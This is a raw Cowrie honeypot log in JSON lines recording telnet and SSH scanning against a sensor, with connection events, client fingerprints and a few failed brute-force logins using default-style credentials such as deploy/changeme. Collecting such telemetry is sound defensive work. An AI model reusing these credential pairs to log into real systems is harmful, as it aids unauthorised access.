{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":51862,"dst_ip":"10.17.0.5","dst_port":23,"session":"88c936894904","protocol":"telnet","message":"New connection: 69.73.180.12:51862 (10.17.0.5:23) [session: 88c936894904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:29.093688Z"}
{"eventid":"cowrie.session.closed","duration":31.027828693389893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:29.103139Z","src_ip":"69.73.180.12","session":"b5f4f331a1bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.622671127319336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:30.114169Z","src_ip":"69.73.180.12","session":"17a841cf26f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55332,"dst_ip":"159.203.135.109","dst_port":22,"session":"ded8be287a2a","protocol":"ssh","message":"New connection: 159.203.92.129:55332 (159.203.135.109:22) [session: ded8be287a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:32.065690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:32.070379Z","src_ip":"159.203.92.129","session":"ded8be287a2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:32.074431Z","src_ip":"159.203.92.129","session":"ded8be287a2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaaaaa","password":"aaaaaa","message":"login attempt [aaaaaa/aaaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:32.086979Z","src_ip":"159.203.92.129","session":"ded8be287a2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:33.094612Z","src_ip":"159.203.92.129","session":"ded8be287a2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":38552,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7c69a168600","protocol":"telnet","message":"New connection: 69.73.180.12:38552 (10.17.0.5:23) [session: e7c69a168600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:33.391328Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":43836,"dst_ip":"10.17.0.5","dst_port":23,"session":"49bda1d91c77","protocol":"telnet","message":"New connection: 69.73.180.12:43836 (10.17.0.5:23) [session: 49bda1d91c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:35.073580Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":46426,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e0fba4e39e0","protocol":"telnet","message":"New connection: 69.73.180.12:46426 (10.17.0.5:23) [session: 3e0fba4e39e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:35.827766Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":43812,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfc2cf8f60ec","protocol":"telnet","message":"New connection: 69.73.180.12:43812 (10.17.0.5:23) [session: cfc2cf8f60ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:36.064064Z"}
{"eventid":"cowrie.session.closed","duration":31.049527883529663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:36.140571Z","src_ip":"69.73.180.12","session":"a39f01eae7de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":54404,"dst_ip":"159.203.135.109","dst_port":22,"session":"76dfe3f16088","protocol":"ssh","message":"New connection: 103.63.108.25:54404 (159.203.135.109:22) [session: 76dfe3f16088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:37.059816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:37.063973Z","src_ip":"103.63.108.25","session":"76dfe3f16088","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:37.334269Z","src_ip":"103.63.108.25","session":"76dfe3f16088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"changeme","message":"login attempt [deploy/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:38.417801Z","src_ip":"103.63.108.25","session":"76dfe3f16088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:39.708274Z","src_ip":"103.63.108.25","session":"76dfe3f16088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.81021785736084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:43.102545Z","src_ip":"69.73.180.12","session":"f63d1700f6c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":49586,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea878205fe07","protocol":"telnet","message":"New connection: 69.73.180.12:49586 (10.17.0.5:23) [session: ea878205fe07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:45.065815Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":50216,"dst_ip":"10.17.0.5","dst_port":23,"session":"966d15796e07","protocol":"telnet","message":"New connection: 69.73.180.12:50216 (10.17.0.5:23) [session: 966d15796e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:45.228840Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":56396,"dst_ip":"10.17.0.5","dst_port":23,"session":"b64f1d6634ca","protocol":"telnet","message":"New connection: 69.73.180.12:56396 (10.17.0.5:23) [session: b64f1d6634ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:47.125395Z"}
{"eventid":"cowrie.session.closed","duration":31.005738496780396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:49.083799Z","src_ip":"69.73.180.12","session":"e3989202cd63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.017204999923706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:49.087318Z","src_ip":"69.73.180.12","session":"990a155cf28a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":42564,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c14e904f2b1","protocol":"telnet","message":"New connection: 69.73.180.12:42564 (10.17.0.5:23) [session: 3c14e904f2b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:51.295223Z"}
{"eventid":"cowrie.session.closed","duration":30.92830538749695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:53.191031Z","src_ip":"69.73.180.12","session":"b72e38ad407a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64896059036255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:53.307419Z","src_ip":"69.73.180.12","session":"0729bcf28ad6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01734185218811,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:54.111141Z","src_ip":"69.73.180.12","session":"8327b405d0a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.930408477783203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:55.033830Z","src_ip":"69.73.180.12","session":"e9545eebe22b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.011873960494995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:55.079623Z","src_ip":"69.73.180.12","session":"c4bb52945460","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.424463987350464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:56.123952Z","src_ip":"69.73.180.12","session":"16fb97714786","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05270528793335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:56.206430Z","src_ip":"69.73.180.12","session":"8437428d1516","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.623214960098267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:57.077729Z","src_ip":"69.73.180.12","session":"dffdc85462d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.955746173858643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:58.052821Z","src_ip":"69.73.180.12","session":"86ddb23ff26c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00756525993347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:58.097514Z","src_ip":"69.73.180.12","session":"ff78c723047f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99613618850708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:00.054244Z","src_ip":"69.73.180.12","session":"0ac0074c19a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.979095697402954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:00.072713Z","src_ip":"69.73.180.12","session":"88c936894904","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":46414,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e2586b2c072","protocol":"telnet","message":"New connection: 69.73.180.12:46414 (10.17.0.5:23) [session: 7e2586b2c072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:01.342638Z"}
{"eventid":"cowrie.session.closed","duration":120.00125813484192,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:01.492016Z","src_ip":"152.59.19.2","session":"e617f4fcaac7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":37142,"dst_ip":"159.203.135.109","dst_port":23,"session":"da6706b31fc2","protocol":"telnet","message":"New connection: 152.59.19.2:37142 (159.203.135.109:23) [session: da6706b31fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:02.043534Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":48482,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb489d036b15","protocol":"telnet","message":"New connection: 69.73.180.12:48482 (10.17.0.5:23) [session: fb489d036b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:02.063435Z"}
{"eventid":"cowrie.session.closed","duration":120.00167989730835,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:02.601669Z","src_ip":"152.59.19.2","session":"ec717883db39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":37256,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dacc713dcb9","protocol":"telnet","message":"New connection: 152.59.19.2:37256 (159.203.135.109:23) [session: 0dacc713dcb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:03.129627Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":40628,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d9346e7771d","protocol":"telnet","message":"New connection: 152.59.19.2:40628 (159.203.135.109:23) [session: 5d9346e7771d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:03.134387Z"}
{"eventid":"cowrie.session.closed","duration":120.00189638137817,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:03.708542Z","src_ip":"152.59.19.2","session":"be9b052985dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.679659366607666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:04.070875Z","src_ip":"69.73.180.12","session":"e7c69a168600","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":17763,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a2a906a8d61","protocol":"telnet","message":"New connection: 152.59.19.2:17763 (159.203.135.109:23) [session: 1a2a906a8d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:04.196325Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":59558,"dst_ip":"10.17.0.5","dst_port":23,"session":"937f42b60ab7","protocol":"telnet","message":"New connection: 69.73.180.12:59558 (10.17.0.5:23) [session: 937f42b60ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:05.393695Z"}
{"eventid":"cowrie.session.closed","duration":30.938341856002808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:06.011802Z","src_ip":"69.73.180.12","session":"49bda1d91c77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.247369050979614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:06.075015Z","src_ip":"69.73.180.12","session":"3e0fba4e39e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":34038,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dec30358967","protocol":"telnet","message":"New connection: 69.73.180.12:34038 (10.17.0.5:23) [session: 1dec30358967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:06.213518Z"}
{"eventid":"cowrie.session.closed","duration":31.007731437683105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:07.071673Z","src_ip":"69.73.180.12","session":"cfc2cf8f60ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":37698,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b3055f5fb93","protocol":"telnet","message":"New connection: 69.73.180.12:37698 (10.17.0.5:23) [session: 0b3055f5fb93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:07.256586Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":39020,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e4d1998484c","protocol":"telnet","message":"New connection: 69.73.180.12:39020 (10.17.0.5:23) [session: 5e4d1998484c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:07.663440Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":53740,"dst_ip":"10.17.0.5","dst_port":23,"session":"796e95997d57","protocol":"telnet","message":"New connection: 69.73.180.12:53740 (10.17.0.5:23) [session: 796e95997d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:12.064392Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":57132,"dst_ip":"10.17.0.5","dst_port":23,"session":"f267a654de23","protocol":"telnet","message":"New connection: 69.73.180.12:57132 (10.17.0.5:23) [session: f267a654de23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:13.057367Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":59912,"dst_ip":"10.17.0.5","dst_port":23,"session":"395d80af877b","protocol":"telnet","message":"New connection: 69.73.180.12:59912 (10.17.0.5:23) [session: 395d80af877b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:13.774951Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53904,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7d608eb3d28","protocol":"ssh","message":"New connection: 159.203.92.129:53904 (159.203.135.109:22) [session: d7d608eb3d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:14.244364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:14.249205Z","src_ip":"159.203.92.129","session":"d7d608eb3d28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:14.255498Z","src_ip":"159.203.92.129","session":"d7d608eb3d28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaaaaa","password":"aaaaaa1","message":"login attempt [aaaaaa/aaaaaa1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:14.266309Z","src_ip":"159.203.92.129","session":"d7d608eb3d28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:15.279979Z","src_ip":"159.203.92.129","session":"d7d608eb3d28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.874348640441895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:16.103062Z","src_ip":"69.73.180.12","session":"966d15796e07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05633854866028,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:16.122074Z","src_ip":"69.73.180.12","session":"ea878205fe07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":42952,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dc1a6082e10","protocol":"telnet","message":"New connection: 69.73.180.12:42952 (10.17.0.5:23) [session: 5dc1a6082e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:17.134555Z"}
